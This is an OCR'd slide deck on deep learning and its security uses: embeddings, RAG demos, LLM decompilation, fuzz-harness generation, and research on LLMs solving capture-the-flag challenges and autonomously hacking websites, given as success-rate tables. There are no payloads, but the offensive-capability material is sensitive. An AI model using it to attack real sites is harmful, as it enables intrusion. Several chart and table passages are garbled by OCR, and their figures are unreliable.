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Topics for today

= Deep Learning 101

= Security Applications of Deep Learning
= LLM Code Analysis Evaluation

= Threat Landscape
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& Chip Huyen & : .
6 @d?iproy Cumulative count of repos by category over time

Category
| went through the most popular Al repos on GitHub, categorized them, mm Applications

and studied their growth trajectories. Here are some of the learnings: | mmm Al engineering

B Model repo

1. There are 845 generative Al repos with at least 500 stars on GitHub. 700 1 : x;’rdeltdec‘;‘:”mem
. o . o S astru re

They are built with contributions from over 20,000 developers, making

almost a million commits. 600

2. | divided the Al stack into four layers: application, application
development, model development, and infrastructure. The application
and application development layers have seen the most growth in 2023.
The infrastructure layer remains more or less the same. Some categories
that have seen the most growth include Al interface, inference

optimization, and prompt engineering. 300 1 ?sz;rgz,

500 ChatGPT

2022-11

Stable Diffusion
2022-08

Cumulative count

hf/transformers

3. The landscape exploded in late 2022 but seems to have calmed down 200 Transformers 201810

since September 2023.

paper
tensorflow s
2015-11

4. While big companies still dominate the landscape, there’s arise in l l
massively popular software hosted by individuals. Several have

speculated that there will soon be billion-dollar one-person companies. 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024
Year-Month
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Applications

Application development

Model development

Infrastructure

Coding
Workflow automation
Info aggregation

Prompt engineering
Al interface
AlE framework

Dataset engineering
Inference optimization
Modeling & training

Compute management
Serving
Monitoring

— gpt-engineer, screenshot-to-code, gpt-pilot
— open-interpreter, quivr, fabric
— gpt_academic, privateGPT, localGPT

— guidance, DSPy, MemGPT
— 3D characters, web Ul, pplugins
— langchain, gpt4all, llama_index

— snorkel, cleanlab
— ggml, TensorRT, mlc-llm
— transformers, DeepSpeed, LLaMA-Factory

— skypilot, metaflow
— vllm, OpenLLM, NVIDIA’s Triton
— nebuly, uptrain, langfuse
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Deep Learning 101
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Deep Learning 101

= Deep learning is a term that applies machine learning concepts using
deeply connected artificial neuron layers

= Deep neural networks are able to automatically learn hierarchical
representations and extract increasingly complex and abstract features
from raw input data

= Through the process of training on large datasets, deep learning models
can learn to recognize patterns, classify data into categories, or
generate new data
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Deep Learning Model Architectures

= Convolutional Neural Networks (CNN)

= CNN models can learn patterns in data that is arranged in a two dimensional configuration
such as images or time series data

= A convolution uses small 2D grids (3x3) as sliding window “filters” that pass over each value
in the data to infer spatial relationships

= Each filter is designed to detect a different feature in the data such as edges of an object in
am image

= Mostly used for computer vision and image classification

= Recurrent Neural Networks (RNN)

= |[n contrast to Feed Forward Networks, RNNs have information that can flow forward or
backwards.

= Natural language processing model focused on sequence-to-sequence problems such as
translation, speech to text, or image to text.

= Long Short-Term Memory (LSTM) models extend RNN’s with a short-term memory
mechanism
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Deep Learning Model Architectures

= Transformers solve the short term memory issue with “attention” layers
that allow past tokens to influence future token selection

Qutput
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Add & Norm

BERT ii. GPT

B Mult-Head
Feed Attention
Forward J D) Nx
Encoder == Decoder
N Add & Norm
,—-{ Add & Norm | Masked
Multi-Head Multi-Head
Attention Attention
At 4 t
— J . ——
Positional D @_® Positional
Encoding Encoding
Input Qutput
Embedding Embedding

! I
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Tokenizers

"This is a input text."

Tokenization @

[CLS] This is a input . [SEP]

101 2023 2003 1037 7953 1012 102

= Natural language text is broken into chunks called tokens

= Tokens can be words, symbols, numbers, or n-gram sub-components of
words

= Tokenizers can be optimized for a specific language by analyzing
common n-grams in the language such as the prevalence of consonant
vowel pairs or common word suffixes like “-ing” or “-ed”

= Byte-Pair Encoding (BPE) is a common approach used by GPT and Llama

= The result of tokenizing natural language is an array of numbers that are
indexes into the token dictionary

1
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Embeddings

= Once text has been tokenized, the array of tokens is fed through an
embedding layer to create an embedding vector

= Embedding vectors represent paths through a high dimensional space

= Embeddings can be stored in a vector database and used for semantic
search or Boolean classification tasks

= Embeddings can be compared using Approximate Nearest Neighbor
(ANN) search algorithm
= Cosine Similarity is a commonly used distance metric to compare vectors
= Cosine Similarity is the dot product of the vector divided by the product of the lengths

12
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MTEB: Massive Text Embedding Benchmark

L. . Clustering Pair
Model . Average Classification L. .
] Embedding Max Average Classification
Model Size . . (56 Average (12
Dimensions Tokens (11 Average (3
(GB) datasets) datasets)
datasets) datasets)
SER-Embedding-Mistral 14.22 4096 32768 67.56 78.33 51.67 88.54
voyage-lite-02-instruct 16024 4000 67.13 79.25 52.42 86.87
GritlM-7B 14.48 4096 32768 66.76 79.46 50.61 87.16
eb-mistral-7b-instruct 14.22 4096 32768 66.63 78.47 50.26 88.34
GritlM-8x7B 93.41 4096 32768 65.66 78.53 50.14 84.97
echo-mistral-7b-instruct-last ,, ,, 4096 32768 64.68 77 .43 46.32 87.34
»

mxbai-embed-large-vl 0.67 1024 512 64.68 75.64 46.71 87.2
UAE-Large-V1 1.34 1024 512 64 .64 75.58 46.73 87.25
text-embedding-3-large 3072 8191 64.59 75.45 49.01 85.72

voyage-lite-01-instruct 1024 4000 64.49 74.79 47 .4 86.57
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Embeddings

= Only one of the models in the top10 are suitable for high throughput use
for classification tasks or text retrieval tasks for RAG applications.

= mxbai-embed-large-v1
= Size: 0.67GB
= Dimensions: 1024
= Max Tokens: 512
= MTEB score: 64.68

= For larger sequences up to 8k nomic-embed-text-v1is the best option
Size: 0.55GB

Dimensions: 768

Max Tokens: 8192

MTEB score: 62.39

15



C@E\ypsmm

Retrieval Augmented
Generation (RAG)




C@E\ypsmm

Retrieval
Augmented
Generation
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Retrieval
Augmented
Generation

ROUND 12 [Information Technology] Question: What is the name of the algorithm developed by Google that powers its sea
RWKV-1B: Google's algorithm is called PageRank.

RWKV-3B: The algorithm developed by Google that powers its search engine and is designed to rank web pages based on their
RWKV-7B: The algorithm developed by Google that powers its search engine and is designed to rank web pages based on their
Answer: PageRank.

RWKYV 1.5B is CORRECT! SCORE: 600 RWKYV 3B is CORRECT! SCORE: 700 RWKV 7B is CORRECT! SCORE: 200

ROUND 20 [Geology] Question: What is the name of the natural disaster that occurs when a volcanic eruption causes a lar
RWKV-1B: The name of the natural disaster that occurs when a volcanic eruption causes a large amount of material to rapidly g

RWKV-3B: Question: What is the name of the natural disaster that occurs when a volcanic eruption causes a large amount of

RWKV-7B: The name of the natural disaster that occurs when a volcanic eruption causes a large amount of material to rapidly q

Answer: Tsunami.

RWKYV 1.5B is INCORRECT! SCORE: 600 RWKYV 3B is INCORRECT! SCORE: 700 RWKYV 7B is CORRECT! SCORE: 1000
‘77 TRIVIA GAME FINAL SCORES AFTER 20 ROUNDS 7

RWKYV 1.5B: 600 points! RWKV 3B: 700 points! RWKV 7B: 1000 points!

18
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Retrieval
Augmented
Generation

Experiments with RWKV embeddings using Wikipedia API

Embedding is first 10 sentences of the wiki page
corresponding to the correct answer.

Smaller models become competitive with RWKV 14B on fact
finding, though the answers are still less coherent.

Each result is from 10 questions / 1000 points

1B5: 700 pts! 3B: 800 pts! 7B: 1000 pts! 14Bv9: 900 pts!
1B5: 800 pts! 3B: 900 pts! 7B: 1000 pts! 14Bv9: 1000 pts!
1B5: 900 pts! 3B: 1000 pts! 7B: 800 pts! 14Bv9: 1000 pts!
1B5: 800 pts! 3B: 900 pts! 7B: 800 pts! 14Bv9: 800 pts!

Previously the score percentages were much lower after 200 rounds:

1B5: 21.2% 3B: 52% 7B: 63.5% 14B: 64.5%

19
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Wikipedia trivia
Re t r i e V a 1 This application searches vector embeddings of the Wikipedia extracts to find top5 candidate articles. The full article is pulled for each title via wikipedia api and passed to a
DistilBART summarizer model. The page title, match probability, original extract, and summarized article are displayed

Augmented &

What was the name of the first woman appointed to the U.S. Supreme Court?

G [ J
eneration iy
"Sandra Day O'Connor™ Wiki Page
Sandra Day O'Connor (born March 26, 1930) is an American lawyer, former politician, and jurist who served as the first
SNBSS female associate justice of the Supreme Court of the United States from 1981 to 2006. She was both the first woman
DistilBART Summary nominated and the first confirmed to the court. Nominated by President Ronald Reagan, she was considered a swing
vote for the Rehnquist Court and the first five months of the Roberts Court. Prior to O'Connor's tenure on the Court, she
Sandra Day O'Connor served as the first female associate  was a judge and an elected official in Arizona, serving as the first female majority leader of a state senate as the
justice of the Supreme Court of the United States from 1981  Republican leader in the Arizona Senate. Upon her nomination to the Court, 0'Connor was confirmed unanimously by
to 2006. She was both the first woman nominated and the  the Senate. On July 1,2005, she announced her intention to retire effective upon the confirmation of a successor.
first confirmed to the court. She retired in 2005 and Samuel ~ Samuel Alito was nominated to take her seat in October 2005 and joined the Court on January 31, 2006. 0'Connor most
Alito was nominated to take her seat in October2005and  frequently sided with the Court's conservative bloc but demonstrated an ability to side with the Court's liberal
joined the Court on January 31, 2006. members. She often wrote concurring opinions that sought to limit the reach of the majority holding. Her majority
. opinions in landmark cases include Grutter v. Bollinger and Hamdi v. Rumsfeld. She also wrote in part the per curiam
R majority opinion in Bush v. Gore, and was one of three co-authors of the lead opinion in Planned Parenthood v. Casey.
During her time on the Court, some publications ranked O'Connor among the most powerful women in the world. After

e retiring, she succeeded Henry Kissinger as the Chancellor of the College of William & Mary. On August 12, 2009, she was

R awarded the Presidential Medal of Freedom by President Barack Obama.

the first female associate justice of the Supreme Court

of the United States from 1981 to 2006. She was both the = Early life and education = Sandra Day was born in El Paso, Texas, the daughter of Harry Alfred Day, a rancher, and
first woman nominated and the first confirmed to the Ada Mae (Wilkey). She grew up on a 198,000-acre cattle ranch near Duncan, Arizona. The ranch was nine miles from the
court. Nominated by President Ronald Reagan, shewas  nearest paved road. The family home did not have running water or electricity until Sandra was seven years old. As a
considered the swing vote for the Rehnquist Courtand  youth she owned a .22-caliber rifle and would shoot coyotes and jackrabbits. She began driving as soon as she could

the first five months of the Roberts Court. see over the dashboard and had to learn to change flat tires herself. Sandra had two younger siblings, a sister and a

brother, respectively eight and ten years her junior. Her sister was Ann Day, who served in the Arizona Legislature. She
later wrote a book with her brother, H. Alan Day, Lazy B: Growing up on a Cattle Ranch in the American West (2002),
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Metaframe Al Chat

Choose a model

StableBeluga 13B

temperature
0.50

r—
a——

0.01

top_p

0.01

max_length

512

System Personality

Instructor

[ | search Wikipedia

¥ search DuckDuckGo

Clear Chat History

Hello, what area of knowledge are we exploring today?

can you tell me what LK-99 is?

I'd be happy to! However, there seems to be no information given about what LK-99 refers to,
which inquiry this question pertains to. LK-99 could refer to several different things in various
contexts (e.g., it might be a mathematical constant or a chemical compound). Could you provide
more details or a specific context for your question about LK-99? This will help me give a more

accurate and useful response.

I've enabled search, can tell me what LK-99 is now?

Searching and summarizing web results...

Reading
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Retrieval
Augmented
Generation

Metaframe Al Chat

Choose a model

StableBeluga 13B

temperature

System Personality

Instructor
|| search Wikipedia
& Ssearch DuckDuckGo

Clear Chat History

I've enabled search, can tell me what LK-99 is now?

Huanzhong Univesity and Iris Alexander claim to have replicated and seen some Meissner effect.
Berkeley Lab and Shengyang lab have separate theory papers with simulation on how and why
LK99 and variants will work. There are at least a dozen publicly announced or rumored

replication efforts.

Whether LK-99 is superconductor mainly hinges on it having zero resistivity and the work getting
confirmed and replicated. This zero resistance was shown in data at a material science
conference in Korea yesterday. Still awaiting confirmation and replication which is ongoing by

many groups worldwide.

Researchers say they have discovered a new room-temperature ambient-pressure
superconductor. But many scientists are unconvinced of the claims. Check out our wiki to learn
more! Don't hesitate to tell us about a ticker we should know about, market news or financial

education.

LK-99 appears to be a hypothetical superconductor that has been making headlines recently due
to claims of its discovery and potential applications in various industries. However, there is
ongoing debate and skepticism among scientists about the validity of these claims. If you have
any more information or context about LK-99, please provide it so | can give a more detailed

response.
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Security Applications
of Deep Learning
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Reverse Engineering Assistants

= Reverser Al
= @mr_phrazer

= Uses local LLMs to derive
semantically meaningful
function names from
decompiler output

000007ac void* copy_backward_string(void* argl, void* arg2, int32_t arg3)

0080007ac
000007b0
000007b4
000007c0
000007b8
000007b8
0000807bc
000007bc
0000070
0000070
000007c4

\

Log Q Searchlog

int32_t i = arg3
void* r4 = arg2 - 1
void* r3
do {

} while (i
return r3

[Default] Renaming sub_7ac to copy_backward_string
[Default] Renaming sub_820 to return_address_of_data_838
[Default] Renaming sub_3e4 to process_input_and_copy_string
[Default] Renaming sub_77c¢ to save_and_clear_fpu_registers

24
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Reverse Engineering Assistants

e LLM4Decompile is the pioneering open-source large language model dedicated to
decompilation. Its current version supports decompiling Linux x86_64 binaries, ranging
from GCC's OO0 to O3 optimization levels, into human-readable C source code. Our
team is committed to expanding this tool's capabilities, with ongoing efforts to
iIncorporate a broader range of architectures and configurations.

e Decompile-Eval is the first decompilation benchmark that focuses on assessing the re-
compilability and re-executability aspects of decompiled code. It is the C language
adaptation of the HumanEval dataset and provides a suite of C solutions and assertions
in evaluating the practical utility of decompiled code.

25
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Reverse Engineering Assistants

= LLM4Decompile

= Fine tune of Deepseek

}

cmnpﬂel

float trun_num(float num) {
return num - (int)num;

00111010010101010101010
110101010110101000101. . .

binary

disassemblel
& endbré4
push %rbp
UsH mov %rsp,%rbp
asm o

decompilel

float func(float f)

int main() {

{ assert(...);
ﬁ;@ int 1 = (int)f; — assert(...);
src' return f - i; assert(...);
}
compilel run l

eval [re-compﬂabﬂity ]

[ re-executability ]

Table 1: Evaluation Results on Decompile-Eval

Model Re-compilability Re-executability

Opt-level 00 01 02 03 Avg. 00 01 02 03 Avg.
GPT4 0.92 0.94 0.88 0.84 0.895 0.1341 0.1890 0.1524 0.0854 0.1402
DeepSeek-Coder-33B  0.0659 0.0866 0.1500 0.1463 0.1122 0.0000 0.0000 0.0000 0.0000 0.0000
LLM4Decompile-1b  0.8780 0.8732 0.8683 0.8378 0.8643 0.1573 0.0768 0.1000 0.0878 0.1055
LLM4Decompile-6b ~ 0.8817 0.8951 0.8671 0.8476 0.8729 0.3000 0.1732 0.1988 0.1841 0.2140
LLM4Decompile-33b  0.8134 0.8195 0.8183 0.8305 0.8204 0.3049 0.1902 0.1817 0.1817 0.2146

26
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Fuzz Harness Generation

= OSS-Fuzz-Gen A Framf-:work for Fuzz Target Generation and
Evaluation

This framework generates fuzz targets for real-world ¢ / c++ projects with various Large Language Models
(LLM) and benchmarks them via the o0ss-Fuzz platform.

More details available in Al-Powered Fuzzing: Breaking the Bug Hunting Barrier:

( \ Code to Target ( ‘\\ Prompt 4 N
Build and
Evaluate Fuzz Target
0SS-Fuzz &
Fuzz Raw Compilation Evaluation Extracted LLMm
Introspector Logs Framework Compilation Errors
Build and Revised Fuzz
Evaluate Target
\
\_ 4 " 7 \ 4

27
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Fuzz Harness Generation

= OSS-Fuzz-Gen

You are a security testing engineer who wants to write a C++ program to execute all lines in a given

function by defining and initialising its parameters in a suitable way before fuzzing the function
through ~LLVMFuzzerTestOnelnput .

Carefully study the function signature and its parameters, then follow the example problems and
solutions to answer the final problem. YOU MUST call the function to fuzz in the solution.

Try as many variations of these inputs as possible. Do not use a random number generator such as
“rand() .

Use "FuzzedDataProvider to generate these inputs. You MUST declare it in " LLVMFuzzerTestOnelnput ,
like this:

FuzzedDataProvider stream(data, size);

Include “#include <fuzzer/FuzzedDataProvider.h>  in the solution.

This code shows example of using it:

28
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Fuzz Harness Generation

= OSS-Fuzz-Gen

B S

// Extract integral values

int int_arg = stream.ConsumeIntegral<int>();

int int_arg_in_range = stream.ConsumeIntegralInRange(-100, 100);
bool bool_arg = stream.ConsumeBool();

// Extract floating point values

float probability = stream.ConsumeProbability();

double double_arg = stream.ConsumeFloatingPoint<double>();

double double_arg_in_range = stream.ConsumeFloatingPointInRange(-1.0, 1.0);

// Extract value from predefined set, such as enum or array
EnumType enum = stream.ConsumeEnum<EnumType>();
int valid values = stream.PickValueInArray({FLAG 1, FLAG 2, FLAG 3});

// Extract an array of bytes as a vector. You MUST call ".data()  to use result as pointer.
std::vector<uint8 t> bytes = stream.ConsumeBytes<uint8 t>(stream.ConsumelntegrallnRange(@, max_size));
void *data_ptr = bytes.data();

std::vector<uint8_t> bytes2 = stream.ConsumeBytes<uint8_t>(requested_size);

void *data2_ptr = bytes2.data();

// Extract a string. You MUST use "~ .c_str()" to use result as pointer

std::string str = stream.ConsumeBytesAsString(stream.ConsumeIntegralInRange(@, max_size));
char *ptr = str.c_str();

std::string str2 = stream.ConsumeBytesAsString(requested size);

char *ptr2 = str2.c_str();

std::string str3 = stream.ConsumeRandomLengthString();

char *ptr3 = str3.c_str();

// Extract to user defined object
struct_type_t obj;
size t consumed = stream.ConsumeData(&obj, sizeof(obj));

29
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Fuzz Harness Generation
= OSS-Fuzz-Gen

There MUST be AT MOST ONE call to "ConsumeRemainingBytes to consume remaining input!
FuzzedDataProvider stream(data, size);

std::vector<uint8_t> bytes3 = stream.ConsumeRemainingBytes();

void *data3 _ptr = bytes3.data();

All variables used MUST be declared and initialized. Carefully make sure that the variable and

argument types in your code match and compiles successfully. Add type casts to make types match.

Do not create new variables with the same names as existing variables.
WRONG:

int LLVMFuzzerTestOneInput(const uint8 t *data, size t size) {
void* data = Foo();
}

-

30
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Fuzz Harness Generation
= OSS-Fuzz-Gen

= Rules:

There MUST be AT MOST ONE call to "ConsumeRemainingBytes™ to consume remaining input!

All variables used MUST be declared and initialized. Carefully make sure that the variable and argument
types in your code match and compiles successfully. Add type casts to make types match.

Do not create new variables with the same names as existing variables.

EXTREMELY IMPORTANT: If you write code using goto ', you MUST MUST also declare all variables
BEFORE the "goto'. Never introduce new variables after the "goto".

If an example provided for the same library includes a unique header file, then it must be included in the
solution as well.

You MUST call "bool Json::Value::removelndex(Arraylndex index, Value *removed) " in your solution!

= Followed by three example problem/solution pairs

31
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Fuzz Harness Generation

= OSS-Fuzz-Gen

= 1300+ benchmarks from

297 open-source
projects

Benchmark Status Ii';i': C:t:h Coverage cove}-‘:glz diff
|output-lodepng-lodepng-encode Done [50.00 |[12.50  |[20.65 23.07
output-lodepng-lodepng_encode32 file Done [|87.50 ||37.50 ||37.48 [23.05
loutput-lodepng-lodepng_encode file [Done |62.50 [j62.50 |38.63  |23.63
loutput-lodepng-lodepng_encode24 file [Done |[25.00 |25.00 .00  [22.27
[output-libarchive-archive_entry_acl text w Done ||75.00 |{0.00 23.60 22.13
output-libarchive-archive entry_acl text Done |37.50 |{0.00 23.16 21.54
output-fribidi-fribidi log2vis Done  [|87.50 |37.50  ||53.36 20.43
output-valijson---freeze Done |62.50 |(0.00 1.66 17.27
[output-inih-ini_parse_string Done  ||100.00 |(0.00 87.13 16.48
output-oss-fuzz-example-parse_complex format second Done ||75.00 |{0.00 33.90 10.42
output-rabbitmg-c-amqp_tx_rollback Done  ||75.00  [/0.00 5.58 16.23
output-lighttpd-burl append Done ||100.00 |(0.00 22.47 16.18
|output-rabbitmg-c-amqp_channel close Done ||75.00 |[[37.50 |5.11 15.63
[output-rabbitmg-c-amqgp connection close Done 100.00 |{25.00 5.24 [15.30
|Mp111-rabbitmq-c-amqpfconﬁmlisclccl ||Done ||87.50 ||0.00 ||5.14 | 14.71
|0_m;)Lt-g[pﬂpjson-transcoding;g@glx.;groc—lranscoding-[cslingﬁpe_ﬂjsonarra}g] ”Donc ”50.00 ||0.00 ||3.34 | 13.86
:)c_lllt;;?_;-ﬁgﬁ'—ﬂpjson-u'anscoding—,g@gl&g[pc-lranscoding-tcsling;j sonarraytester- | - |bs oo Ilo.00 3.07 13.44
[output-libarchive-archive entry_linkify Done ([12.50 ||0.00 0.00 12.10
[output-meshoptimizer-meshopt_encodevertexbuffer Done 50.00 12.50 17.37 (11.69
loutput-hiredis-rediscommandargy |lLL.68

[[Done

|187.50

[|75.00

[15.79
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Fuzz Harness Generation
= OSS-Fuzz-Gen

- "name": "yaml_file_read_handler"
= 1300+ benchmarks from """
297 open-source "type": “char *"
prOJects - "name": "buffer"

"type": "char *"

- "name": "size"
"type": "size t"

- "name": "size_ read"

".typell : "Size_t *Il

"return_type": "int"
"signature": "int yaml_file read_handler(void *, unsigned char *, size t, size t *)"
"language": "c++"

"project”: "libyaml"
"target _name": "libyaml parser fuzzer"

"target path": "/src/libyaml_parser_fuzzer.c"

33
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Fuzz Harness Generation
= OSS-Fuzz-Gen

= “Overall, this framework manages to successfully leverage LLMs to
generate valid fuzz targets (which generate non-zero coverage increase)
for 160 C/C++ projects. The maximum line coverage increase is 29%
from the existing human-written targets.”

34



C@E\ypsmm

Fuzz Harness Generation
= Moyix + Claude Opus

ﬂ Brendan Dolan-Gavitt 2
¥ @moyix

| gave Claude 3 the entire source of a small C GIF decoding library | found
on GitHub, and asked it to write me a Python function to generate
random GIFs that exercised the parser. Its GIF generator got 92% line
coverage in the decoder and found 4 memory safety bugs and one hang.

9:07 PM - Mar 7, 2024 - 6474K Views o

@ Brendan Dolan-Gavitt & @moyix - Mar 7

‘.,’ " Oh, it also found 5 signed integer overflow issues (forgot to run UBSAN
before posting).
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Fuzz Harness Generation
= Moyix + Claude Opus

gengif.py written by Claude 3 Opus. The prompt was:
(Attached files: gifread.c, gifdec.c, gifdec.h)

Given this C program, can you write a Python function that generates random gif
files that fully exercise the parsing code? The function should have the signature:

# Generates a random file into out"
def generate _random_input(out: BinaryIO):
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Fuzz Harness Generation
= Moyix + Claude Opus

LCOV - code coverage report

Current view: top level Coverage Total Hit
Test: gifread.info Lines: 928 % 373 346
Test Date: 2024-03-08 00:28:24 Functions: 100.0 % 24 24

Line Coverage ¢ Function Coverage ¢

Directory ___ Rate [Tota Hit | Rate |Total|Hit

gifdec 71 928% 373 346 100.0 %

Generated by: LCOV version 2.0-1
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Fuzz Harness Generation
= Moyix + Claude Opus

@ Brendan Dolan-Gavitt & @moyix - Mar 8

=" Another experiment in this subthread, suggested by @prOme —how good a
fuzzer can it write using only its knowledge of the GIF format in general,
without seeing the specific GIF parser I'm testing? Answer: much worse.

& Brendan Dolan-Gavitt €& @moyix - Mar 8
Replying to @moyix and @prOme

Much worse when it can't see the parser code. It got the code for

generating the global color table wrong, so all the files are rejected early
by the parser. Coverage: moyix.net/~moyix/gifread...
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Fuzz Harness Generation
= Moyix + Claude Opus

LCOYV - code coverage report

Current view: top level - gifdec Coverage Total Hit
Test: gifread_claude3_test_spec.info Lines: [JEEEEE 373 120
Test Date: 2024-03-08 15:53:34 Functions: 6898 24 11

| LineCoverage$ _|Function Coverage ¢
IIIIIEE!IIIIﬁﬂﬂﬂﬂ“lZﬂ!ﬂﬂEﬂﬂIEI

gifdec.c a7 85

gifread.c —:l_ 56 35 [NGaa9e 3 1

Generated by: LCOV version 2.0-1
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Solving CTFs

An Empirical Evaluation of LLMs for Solving Offensive Security Challenges

Minghao Shao, Boyuan Chen, Sofija Jancheska, Brendan Dolan-Gavitt, Siddharth Garg, Ramesh Karri, Muhammad
Shafique

Capture The Flag (CTF) challenges are puzzles related to computer security scenarios. With the advent of large language
models (LLMs), more and more CTF participants are using LLMs to understand and solve the challenges. However, so far no
work has evaluated the effectiveness of LLMs in solving CTF challenges with a fully automated workflow. We develop two CTF-
solving workflows, human-in-the-loop (HITL) and fully-automated, to examine the LLMs" ability to solve a selected set of CTF
challenges, prompted with information about the question. We collect human contestants' results on the same set of questions,
and find that LLMs achieve higher success rate than an average human participant. This work provides a comprehensive
evaluation of the capability of LLMs in solving real world CTF challenges, from real competition to fully automated workflow. Our
results provide references for applying LLMs in cybersecurity education and pave the way for systematic evaluation of offensive
cybersecurity capabilities in LLMs.
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@lypsmm

Solving CTFs

Model  Solved Unsolved # Teams # Chal. Max Mean Median

GPT 3.5 6 20 1176 26 5967 587 225

GPT 4 12 14 o N N
Mixtral 5 21 Table 7: Statistics from a traditional CTF competition.

Table 4: Number of challenges each model solved with fully

automated workflow. Model GPT4 GPT3.5 Mixtral
Score 1319 235 210
Ranking 135 588 613
Category GPT 3.5(%) GPT 4(%) Mixtral(%) Percentile (%) 115 30 351
crypto 0.0 0.0 0.0
misc 50.0 40.0 2.5 Table 8: Automation models ranking among real CTF players.
pwn 8.3 36.6 5.0
rev 35.0 53.3 35.0
web 0.0 16.0 0.0

Table 5: Accuracy rate of each model per category.
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Solving CTFs

Failure Description GPT GPT4 | Mixtral
3.5 (%) | (%) (%)
Empty Solution | does not return solution or gives up and interrupts itself 47.09 36.67 33.91
Connect Error | attempts connecting to wrong server or connect fails due to bad config. | 1.79 1.67 8.58
Faulty Code generates code with errors or the code does not execute properly 4.93 5.56 18.88
Import Error attempts to use non-existing packages or imports them w/o installing 0.90 1.11 10.73
Cmd Line Error | attempts to execute command line in a wrong way 12.56 25.00 10.73
File Error accesses file that does not exist or error occurs on file operation 5.83 0.56 8.58
Wrong Flag provides wrong flag, not relevant to the challenge 2691 29.44 8.58

Table 6: Failures by GPT 3.5, GPT 4 and Mixtral and their relative percentages.
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LLM Agents can Autonomously Hack Websites

HaCki ng the Planet Richard Fang, Rohan Bindu, Akul Gupta, Qiusi Zhan, Daniel Kang

“We show that LLM agents can autonomously hack websites, performing tasks as complex as blind database
schema extraction and SQL injections without human feedback. Importantly, the agent does not need to know

the vulnerability beforehand”

Vulnerability GPT-4 success rate OpenChat 3.5 detection rate
Agent Pass @ 5 Overall success rate LFI 60% 40%
CSRF 100% 60%

GPT-4 assistant 73.3% 42 7%
XSS 80% 40%
GPT-3.5 assisatant 6.7% 2.7% sSQL Injection 100% 100%
OpenHermes-2.5-Mistral-7B 0.0% 0.0% Brute Force 80% 60%
SQL Union 80% 0%

- o) (o)

LLaMA-2 Chat (70B) 0.0% 0.0% SSTI 0% 0%
LLaMA-2 Chat (13B) 0.0% 0.0% Webhook XSS 20% 0%
LLaMA-2 Chat (7B) 0.0% 0.0% File upload 40% B0%
. o o Authorization bypass 0% 0%
Mixtral-8x7B Instruct 0.0% 0.0% SSRF 0% 0%
Mistral (7B) Instruct v0.2 0.0% 0.0% Javascript attacks 0% 0%
Nous Hermes-2 Yi (34B) 0.0% 0.0% Hard SQL injection 0% 0%
Hard SQL union 20% 0%

OpenChat 3.5 0.0% 0.0% XSS + CSRF 0% 0%



@clypswm

Agents Can Be Applied to Multi-Step Reasoning

- ngglng agent SyStem SSH_HOST = "bandit.labs.overthewire.org"
from dreadnode.io SHLPORT = 220
includes an example MAX_PINS - 10
that solves a dozen MAX_HISTORY = 5

levels of a basic CTF SvSTEN PROMPT - "

You are a senior security expert with years of linux and CTF experience. You are solving a CTF which involves

locating a password on a server by executing commands via SSH.
# Helpers

get bandit level description(level: int) -> str:

search = r"Level Goal</h2>(.+)<h2"

response = requests.get(f"https://overthewire.org/wargames/bandit/bandit{level}.html")
response.raise for_status()

goal: str = re.findall(search, response.text, re.DOTALL)[@]

goal = goal.replace("<p>", "").replace("</p>", "").strip()

return re.sub("<.*?>", "", goal)
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LLM Code Analysis




eclypsium

Code Analysis Models

Model Win Rate
OpenCodelInterpreter-DS-33B 50.42
CodeFuse-DeepSeek-33b 48.75
DeepSeek-Coder-33b-instruct 47.17
DeepSeek:-Coder-7b-instruct 45.92
OpenCodelnterpreter-DS-6.7B 45.42
Phind-Codel lama-348B-v2 44.5
Phind-Codel lama:-348-v1 43.42
Phind-Codel lama-34B:Python:vl 41.88
Codel lama-70b-Instruct 39.83
WizardCoder-Python:34B-V1.0 39.5
Codel lama-70h 39.33
DeepSeek:-Coder-33h-bhase 39.33
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humaneval-python
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java javascript
54.8 69.06
60.76 66.46
52.03 65.13
53.34 65.8
51.41 63.85
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Code Analysis Models

125

100 Language Agent Tree Search (GPT-4)
Parsel (GPT-4 + Codel)

75 code-davinci-002 1758 (CodeT)

50

PASS@1

Codex-S.12B (fine-tuned, zero-shot)
*

25

-25
Jul'21 Jan '22 Jul '22 Jan '23 Jul'23 Jan '24

Other models - Models with highest Pass@1
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Code Analysis Models

PASS@1 (greedy decoding)

Average

base @ instructed

............................................................................................................................................................................ 817
B0 DeepSeek-Coder-33B-instruet ----------------- 793
““““““““““““““““““““““““““ OpenCodelnterpreterDS-67B---------=-m-m-momm oo e ratlessECOUEITANTA-34B=v2:0" /08
"""""""""""""""""""""""""""""""""" O - Pl G A M S 10 T
DeepSeak Coder T BB nstuct T . 025>
686:::::::::::E:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::detphiﬁ:zmxgﬂ:g;(#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: g:lg
_____________________________________________________________________________________________ @ ___WizardCoder-15B=V1.0- ettt oo 555
------------------------------------------------------------------------------------------------------------ 2506
40 ®  SOLAR-10.7B-Instruct-v1.0
°
20
0 T T T T T T T T T T T 1 SiZe
1B 2B 3B 6B 78 118 13B 158 16B 338 348 708
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Code Analysis Models

4 EvalPlus Tests 4 HumanEval Base Tests
# Model pass(@l # Model pass@l
1 W GPT-4-Turbo (Nov 2023) 4 81.7 1 W GPT-4 (May 2023) 88.4
2 ¥ GPT-4 (May_2023) 4 79.3 2 % GPT-4-Turbo (Nov 2023) 85.4
3 ® claude-3-opus (Mar 2024) 476.8 3 ® claude-3-opus (Mar 2024) 82.9
4 DeepSeek-Coder-33B-instruct 4 75.0 4 DeepSeek-Coder-33B-instruct 81.1
5 OpenCodelnterpreter-DS-33B .4 @@ 4 73.8 5 WizardCoder-33B-V1.1 79.9
6 WizardCoder-33B-V1.1 4 73.2 6 OpenCodelInterpreter-DS-33B .4+ €@ 79.3
7 OpenCodelInterpreter-DS-6.7B .4 €@ 4 72.0 7 speechless-codellama-34B-v2.0 4 €@ 77 .4
8 speechless-codellama-34B-v2.0.4 €@ 4 71.3 8 OpenCodelInterpreter-DS-6.7B 4 €@ 77 .4
9 GPT-3.5-Turbo (Nov 2023) 4 70.7 9 GPT-3.5-Turbo (Nov 2023) 76.8
10 | Magicoder-S-DS-6.7B 4 @@ 4 70.7 10 | Magicoder-S-DS-6.7B 4+ €@ 76.8
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Code Analysis

PASS@1 (greedy decoding)

Models

‘ HumanEval MBPP

base @ instructed

70 Z222ssssszsooooSSsssssssoosooosssssssoooooSSSsssscssoooooossssssssosoSSSsssisssoooooSsosssssssoooooosssssssssoooooosszziz QpenCadelnterpreter-DS=33B ________________. 253
